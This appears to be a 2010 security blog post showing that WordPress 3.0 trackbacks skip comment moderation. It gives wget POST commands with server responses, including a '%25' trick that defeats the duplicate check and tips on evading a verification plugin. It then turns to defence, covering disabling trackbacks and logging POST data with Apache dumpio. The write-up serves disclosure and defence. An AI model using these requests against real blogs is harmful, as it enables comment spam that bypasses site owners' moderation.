Wordpress 3.0 Bypass Comment Approval with Trackbacks

There are tons of articles on the subject of spamming with trackbacks, and a few helpful plugins to help improve Wordpress trackbacks. But I couldn't find a nice proof-of-concept spam exploit of the trackback protocol so here we go!

Problem

Trackbacks will be posted even if the Wordpress blog is configured to require moderator approval of comments.

Exploit

Given a Trackback URL: http://prosauce.org/blog/2010/08/analyzing-cve-2010-0188-exploits-the-legend-of-pat-casey-part-1/trackback:

Send an HTTP POST:

wget --post-data "blog_name=YourName&title=YourTitle&excerpt=BuySpam&url=http://%25/fail" \
  prosauce.org/blog/2010/08/analyzing-cve-2010-0188-exploits-the-legend-of-pat-casey-part-1/trackback

And you'll receive:

<?xml version="1.0" encoding="utf-8"?>
<response>
  <error>0</error>
</response>

Try it again:

wget --post-data "blog_name=YourName&amp;title=YourTitle&amp;excerpt=BuySpam&amp;url=http://%25/fail" \
  prosauce.org/blog/2010/08/analyzing-cve-2010-0188-exploits-the-legend-of-pat-casey-part-1/trackback
<?xml version="1.0" encoding="utf-8"?>
<response>
  <error&gt;1</error>
  <message>We already have a ping from that URL for this post.</message>
</response>

Now here's a nice feature, the '%25' will URL decode into a %, such that a lookup for any URL will break. So now let's try a valid URL:

wget --post-data "blog_name=YourName&amp;title=YourTitle&amp;excerpt=DoItNow&amp;url=/" \
  prosauce.org/blog/2010/08/analyzing-cve-2010-0188-exploits-the-legend-of-pat-casey-part-1/trackback

Will give:

<?xml version="1.0" encoding="utf-8"?>
<response>
  <error>1</error>
  <message>We already have a ping from that URL for this post.</message>
</response>

Insight

Right on! Now how to stop this? Most sites recommend disabling trackbacks altogether. But spam catching plugins and blacklists should catch these. There's a plugin called Simple Trackback Verification which takes a less-draconian approach, but may still be dangerous as it downloads the webpage entered into the URL and scrapes for a link. The real trouble with trackbacks is not the URL, Author, or Email field; but the description, this is where a spammer will drop links. The Simple Trackback Verification cannot check the description links. A well-prepared spammer can send the trackback from the server hosting their URL and create a dummy page that links to your blog. Automating the creating of such a page for each target blog is trivial. These two precautions will bypass the checks performed by Simple Trackback Verification.

I noticed this anomaly when I received a Wordpress alert notifying me of a spam post. No big deal, but the 'From' name was the name of the spammer. The 'From' field is usually a pre-configured name. Immediately I jumped on the server and checked my IDS logs, nothing. I checked my access logs, I found the spammer submitting a POST to a trackback URL but nothing more than date/time/URL. It didn't look abnormal to the PHP IDS (most spam does not include XSS, CSRF, or SQLi) which means the data associated to the spam post was lost! Well the reason the spammer's name was included on the email was because the message was approved! That's not right... my Wordpress configuration requires unauthenticated posts to be approved. Well not for trackbacks, which have since been disabled. :P

I also noticed that mod_security does not log the POST data. So I looked at an Apache module called dumpio. Now this is a semi-dangerous module as an attacker could attempt to fill up disk space by forcing Apache to log tons of requests. If you're going to use dumpio make sure you have the proper firewall rules in place to limit, and alert yourself to, bursty users.

To log input with dumpio add the following to the Apache configuration:

DumpIOInput On
LogLevel debug

Adding the 'LogLevel' is a bit awkward as the documentation (http://httpd.apache.org/docs/2.2/mod/mod_dumpio.html) says 'DumpIOLogLevel' can replace 'LogLevel' after version 2.2.4. However I am running a more recent version and dumpio would not log unless 'LogLevel' was set to debug. Regardless, this is not a suitable option as each request writes multiple lines to the error log. This is not what I was looking for:

[Sat Nov 06 19:38:38 2010] [debug] mod_dumpio.c(113): mod_dumpio: dumpio_in [getline-blocking] 0 readbytes
[Sat Nov 06 19:38:38 2010] [debug] mod_dumpio.c(55): mod_dumpio:  dumpio_in (data-HEAP): 17 bytes
[Sat Nov 06 19:38:38 2010] [debug] mod_dumpio.c(74): mod_dumpio:  dumpio_in (data-HEAP): POST / HTTP/1.0\r\n
[Sat Nov 06 19:38:38 2010] [debug] mod_dumpio.c(113): mod_dumpio: dumpio_in [getline-blocking] 0 readbytes
[Sat Nov 06 19:38:38 2010] [debug] mod_dumpio.c(55): mod_dumpio:  dumpio_in (data-HEAP): 35 bytes
[Sat Nov 06 19:38:38 2010] [debug] mod_dumpio.c(74): mod_dumpio:  dumpio_in (data-HEAP): User-Agent: Wget/1.12 (linux-gnu)\r\n
[Sat Nov 06 19:38:38 2010] [debug] mod_dumpio.c(113): mod_dumpio: dumpio_in [getline-blocking] 0 readbytes
[Sat Nov 06 19:38:38 2010] [debug] mod_dumpio.c(55): mod_dumpio:  dumpio_in (data-HEAP): 13 bytes
[Sat Nov 06 19:38:38 2010] [debug] mod_dumpio.c(74): mod_dumpio:  dumpio_in (data-HEAP): Accept: */*\r\n
[Sat Nov 06 19:38:38 2010] [debug] mod_dumpio.c(113): mod_dumpio: dumpio_in [getline-blocking] 0 readbytes
[Sat Nov 06 19:38:38 2010] [debug] mod_dumpio.c(55): mod_dumpio:  dumpio_in (data-HEAP): 25 bytes
[Sat Nov 06 19:38:38 2010] [debug] mod_dumpio.c(74): mod_dumpio:  dumpio_in (data-HEAP): Host: prosauce.org\r\n
[Sat Nov 06 19:38:38 2010] [debug] mod_dumpio.c(113): mod_dumpio: dumpio_in [getline-blocking] 0 readbytes
[Sat Nov 06 19:38:38 2010] [debug] mod_dumpio.c(55): mod_dumpio:  dumpio_in (data-HEAP): 24 bytes
[Sat Nov 06 19:38:38 2010] [debug] mod_dumpio.c(74): mod_dumpio:  dumpio_in (data-HEAP): Connection: Keep-Alive\r\n
[Sat Nov 06 19:38:38 2010] [debug] mod_dumpio.c(113): mod_dumpio: dumpio_in [getline-blocking] 0 readbytes
[Sat Nov 06 19:38:38 2010] [debug] mod_dumpio.c(55): mod_dumpio:  dumpio_in (data-HEAP): 49 bytes
[Sat Nov 06 19:38:38 2010] [debug] mod_dumpio.c(74): mod_dumpio:  dumpio_in (data-HEAP): Content-Type: application/x-www-form-urlencoded\r\n
[Sat Nov 06 19:38:38 2010] [debug] mod_dumpio.c(113): mod_dumpio: dumpio_in [getline-blocking] 0 readbytes
[Sat Nov 06 19:38:38 2010] [debug] mod_dumpio.c(55): mod_dumpio:  dumpio_in (data-HEAP): 20 bytes
[Sat Nov 06 19:38:38 2010] [debug] mod_dumpio.c(74): mod_dumpio:  dumpio_in (data-HEAP): Content-Length: 23\r\n
[Sat Nov 06 19:38:38 2010] [debug] mod_dumpio.c(113): mod_dumpio: dumpio_in [getline-blocking] 0 readbytes
[Sat Nov 06 19:38:38 2010] [debug] mod_dumpio.c(55): mod_dumpio:  dumpio_in (data-HEAP): 2 bytes
[Sat Nov 06 19:38:38 2010] [debug] mod_dumpio.c(74): mod_dumpio:  dumpio_in (data-HEAP): \r\n
[Sat Nov 06 19:38:38 2010] [debug] mod_dumpio.c(113): mod_dumpio: dumpio_in [readbytes-blocking] 23 readbytes
[Sat Nov 06 19:38:38 2010] [debug] mod_dumpio.c(55): mod_dumpio:  dumpio_in (data-HEAP): 23 bytes
[Sat Nov 06 19:38:38 2010] [debug] mod_dumpio.c(74): mod_dumpio:  dumpio_in (data-HEAP): record_this_please=true
[Sat Nov 06 19:38:38 2010] [debug] mod_dumpio.c(113): mod_dumpio: dumpio_in [eatcrlf-nonblocking] 0 readbytes
[Sat Nov 06 19:38:38 2010] [debug] mod_dumpio.c(127): mod_dumpio: dumpio_in - 11

If you find yourself in a similar situation I would recommend writing a Wordpress plugin or small PHP script to log POST data.